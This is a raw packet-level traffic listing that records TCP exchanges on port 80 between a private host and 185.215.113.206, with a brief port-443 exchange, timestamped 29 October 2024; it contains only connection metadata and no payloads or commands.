Oct 29, 2024 17:59:52.559432983 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559436083 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559448004 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559457064 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559457064 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559473991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559478045 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559488058 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559489965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559506893 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559521914 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559536934 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559536934 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559537888 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559550047 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559561968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559576988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559580088 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559601068 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559603930 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559616089 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559618950 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559633017 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559636116 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559649944 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559663057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559672117 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559672117 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559694052 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559705973 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559729099 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559742928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559751987 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559766054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559772015 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559781075 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559782982 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559798956 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559803009 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559814930 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559829950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559832096 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559840918 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559853077 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559861898 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559869051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559875965 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559885025 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559889078 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559901953 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559909105 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559916973 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559917927 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559932947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559947968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559961081 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559961081 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559967041 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559972048 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559983015 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559998989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560003996 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560014009 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560024977 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560029984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560048103 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560054064 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560062885 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560074091 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560085058 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560101986 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560108900 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560122967 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560125113 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560139894 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560148001 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560158014 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560167074 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560173988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560178041 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560189962 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560198069 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560206890 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560221910 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560235977 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560242891 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560242891 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560242891 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560251951 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560257912 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560272932 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560273886 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560288906 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560307980 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560322046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560323954 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560332060 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560340881 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560359001 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560368061 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560384035 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560389996 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560399055 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560410976 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560415030 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560426950 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560432911 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560444117 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560448885 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560455084 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560465097 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560472965 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560482979 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560496092 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560497046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560504913 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560513973 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560523987 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560529947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560538054 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560544968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560555935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560559034 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560570002 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560575008 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560589075 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560590029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560597897 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560617924 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560619116 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560633898 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560652971 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560733080 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560748100 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560761929 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560776949 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560785055 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560795069 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560811043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560817957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560827017 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560832977 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560842991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560858011 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560858965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560873985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560875893 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560894012 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560909986 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560925961 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.560995102 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.560997963 CET	443	50059	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:52.561018944 CET	443	50059	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:52.561029911 CET	443	50059	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:52.561059952 CET	443	50059	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:52.561079025 CET	50059	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:52.561103106 CET	443	50059	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:52.561115980 CET	50059	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:52.561126947 CET	443	50059	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:52.561168909 CET	50059	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:52.563283920 CET	50059	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:52.563299894 CET	443	50059	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:52.564784050 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.564799070 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.564815044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.564831972 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.564850092 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.564866066 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.566926003 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.566941023 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.566956043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.566973925 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.566978931 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.566991091 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.566994905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567012072 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567018032 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567028046 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567047119 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567068100 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567075968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567085981 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567106962 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567121983 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567125082 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567136049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567146063 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567159891 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567167997 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567167997 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567177057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567199945 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567214012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567214966 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567214966 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567235947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567240953 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567251921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567257881 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567265987 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567267895 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567286015 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567296028 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567301989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567318916 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567327976 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567343950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567344904 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567359924 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567368031 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567378998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567384958 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567395926 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567409039 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567414045 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567423105 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567435026 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567437887 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567455053 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567459106 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567471981 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567478895 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567486048 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567487955 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567509890 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567516088 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567524910 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567534924 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567544937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567549944 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567564964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567579031 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567579985 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567588091 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567626953 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567626953 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567653894 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567672968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567692041 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567698956 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567713976 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567713976 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567730904 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567733049 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567749023 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567769051 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567769051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567785978 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567809105 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567815065 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567821026 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567821980 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567822933 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567830086 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567852974 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567853928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567869902 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567878962 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567878962 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567884922 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567888975 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567907095 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567920923 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567920923 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567922115 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567939043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.567945004 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567966938 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567979097 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.567986965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568002939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568038940 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568041086 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568056107 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568067074 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568083048 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568114996 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568150997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568166018 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568180084 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568186998 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568196058 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568202972 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568212032 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568227053 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568232059 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568232059 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568240881 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568244934 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568257093 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568293095 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568295956 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568331003 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568491936 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568506002 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568520069 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568536043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568542957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568542957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568552971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568567991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568567991 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568577051 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568587065 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568595886 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568603039 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568610907 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568619013 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568630934 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568634987 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568650007 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568664074 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568717957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568738937 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568742037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568748951 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568753958 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568757057 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568772078 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568788052 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568813086 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568820953 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568825006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568840981 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568855047 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568871021 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.568876028 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568887949 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.568913937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569039106 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569055080 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569070101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569092989 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569178104 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569197893 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569212914 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569226980 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569242001 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569253922 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569257975 CET	80	49958	185.215.113.206	192.168.2.6
